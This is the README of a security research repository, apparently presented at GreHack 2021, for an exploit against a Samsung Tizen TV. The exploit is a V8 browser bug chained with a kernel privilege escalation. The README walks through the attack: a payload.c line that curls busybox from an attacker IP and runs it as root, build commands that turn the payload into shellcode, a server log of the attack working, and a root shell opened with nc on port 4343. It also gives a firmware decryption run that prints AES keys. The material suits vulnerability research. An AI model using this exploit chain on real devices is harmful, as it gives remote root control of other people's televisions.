Tizen exploit

Description

Exploit and firmware decryption script presented at Grehack 2021. Slides are available inside the slides. directory and the replay video on Youtube.

Directories

This repository contains three directories:

exploit/: containing the v8 exploit and the kernel exploit,
firmware/: containing the script for firmware decryption
slides/: contining the presentation that was given at grehack about this work

Exploit

First, you have to change the attacker IP inside payload.c:

char cmd_busybox[] = "/usr/bin/curl http://192.168.1.37:5000/static/busybox -o /tmp/busybox\x00";
exec_as_root(cmd_busybox, sizeof(cmd_busybox));

Compile the LPE payload and copy the generated javascript file inside the static/ directory :

$ make -C payload/
arm-linux-gnueabi-gcc -fPIC -fPIE -nostdlib -fno-builtin -Os -Wall -c -o entry.o entry.S
arm-linux-gnueabi-gcc -fPIC -fPIE -nostdlib -fno-builtin -Os -Wall -c -o payload.o payload.c
arm-linux-gnueabi-ld -T function_order.ld -o payload.elf entry.o payload.o function_order.ld
objcopy -O binary payload.elf payload.bin
echo "let shellcode = [" > payload.js
xxd -i payload.bin | tail -n +2 | head -n -2 >> payload.js
echo "];" >> payload.js
$ cp payload/payload.js static/shellcode.js

Run the Flask app and open the webpage inside the TV's browser:

$ ./run.sh
* Serving Flask app "app.py" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on http://0.0.0.0:5000/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET / HTTP/1.1" 200 -
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /static/exploit.js HTTP/1.1" 200 -
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /static/shellcode.js HTTP/1.1" 200 -
[2021-04-12 17:27:38,483] INFO in app: 2021-04-12T15:27:17.467Z: Let's go !
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /log?str=2021-04-12T15:27:17.467Z:%20Let%27s%20go%20! HTTP/1.1" 200 -
...
[2021-04-12 17:27:38,984] INFO in app: 2021-04-12T15:27:17.979Z: ok !
192.168.1.36 - - [12/Apr/2021 17:27:38] "GET /log?str=2021-04-12T15:27:17.979Z:%20ok%20! HTTP/1.1" 200 -
192.168.1.36 - - [12/Apr/2021 17:27:39] "GET /static/busybox HTTP/1.1" 200 -

You should have a root shell on port 4343 :

$ nc 192.168.1.36 4343 -vvv
(UNKNOWN) [192.168.1.36] 4343 (?) open
id
uid=0(root) gid=0(root) context="_"

Firmware decryption

Download firmware from : https://www.samsung.com/us/support/downloads/?model=N0002201&modelCode=QN43Q60TBFXZA

Unzip:

$ unzip T-NKLAKUC_2201.0.zip
Archive:  T-NKLAKUC_2201.0.zip
  inflating: T-NKLAKUC/image/upgrade.msd
  inflating: T-NKLAKUC/image/info.txt

Decrypt it:

$ python3 firmware/decrypt.py T-NKLAKUC/image/upgrade.msd /tmp/decrypted/
[+] aes_key = 5bab1098dab48792619ebd63650d929f
[+] aes_iv = 142610ca2fb201fd78ad8faf328bc883
...
[+] section 1, offset = 0x108c, size = 0x4c010
        [+] first block = 8137962a88ef836b74f9cdda78a1747b
        ...
        [+] last block = 10101010101010101010101010101010
/tmp/decrypted/ddr.init
        [+] writing in /tmp/decrypted/ddr.init
[+] section 2, offset = 0x4d09c, size = 0x2fe010
        [+] first block = 0f30a0e1000052e30500000a083043e2
        ...
        [+] last block = 10101010101010101010101010101010
/tmp/decrypted/seret.bin
        [+] writing in /tmp/decrypted/seret.bin
[+] section 3, offset = 0x34b0ac, size = 0x6b5010
        [+] first block = 27051956bab5bfb361e80e7a006b4ec0
        ...
        [+] last block = 10101010101010101010101010101010
/tmp/decrypted/uImage
        [+] writing in /tmp/decrypted/uImage
[+] section 4, offset = 0xa000bc, size = 0x17e010
        [+] first block = d00dfeed0000be82000000380000aabc
        ...
        [+] last block = 10101010101010101010101010101010
/tmp/decrypted/dtb.bin
        [+] writing in /tmp/decrypted/dtb.bin
[+] section 5, offset = 0xb7e0cc, size = 0x410
        [+] first block = 00000000000000000000000000000000
        ...
        [+] last block = 10101010101010101010101010101010
/tmp/decrypted/sign.bin
        [+] writing in /tmp/decrypted/sign.bin
[+] section 6, offset = 0xb7e4dc, size = 0x3fe010
        [+] first block = bdf2fdf7c10a6e894df26d830fc20f7a
        ...
        [+] last block = 10101010101010101010101010101010
/tmp/decrypted/secos.bin
        [+] writing in /tmp/decrypted/secos.bin
[+] section 7, offset = 0xf7c4ec, size = 0xfe010
        [+] first block = 3abd6e7e0ab706ac9a2f5163515d1364
        ...
        [+] last block = 10101010101010101010101010101010
/tmp/decrypted/secos_drv.bin
        [+] writing in /tmp/decrypted/secos_drv.bin
[+] section 8, offset = 0x107a4fc, size = 0x4bc0e010
        [+] first block = 56444653323030376d6b66732e766466
        ...
        [+] last block = 10101010101010101010101010101010
/tmp/decrypted/platform.img
        [+] writing in /tmp/decrypted/platform.img
[+] section 9, offset = 0x4cc8850c, size = 0x2f0010
        [+] first block = 68737173cd040000f74ae86100000200
        ...
        [+] last block = 10101010101010101010101010101010
/tmp/decrypted/factory_peq.img
        [+] writing in /tmp/decrypted/factory_peq.img

$ file /tmp/decrypted/*
/tmp/decrypted/ddr.init:        data
/tmp/decrypted/dtb.bin:         Device Tree Blob version 17, size=48770, boot CPU=0, string block size=5062, DT structure block size=43652
/tmp/decrypted/factory_peq.img: Squashfs filesystem, little endian, version 4.0, zlib compressed, 3034483 bytes, 1229 inodes, blocksize: 131072 bytes, created: Wed Jan 19 17:31:35 2022
/tmp/decrypted/platform.img:    data
/tmp/decrypted/secos.bin:       data
/tmp/decrypted/secos_drv.bin:   data
/tmp/decrypted/seret.bin:       data
/tmp/decrypted/sign.bin:        data
/tmp/decrypted/uImage:          u-boot legacy uImage, Linux-4.1.10, Linux/ARM, OS Kernel Image (Not compressed), 7032512 bytes, Wed Jan 19 13:13:30 2022, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xBAB5BFB3, Data CRC: 0x1FD62A2B

synacktiv/samsung-q60t-exploit

Tizen exploit

Description

Directories

Exploit

Firmware decryption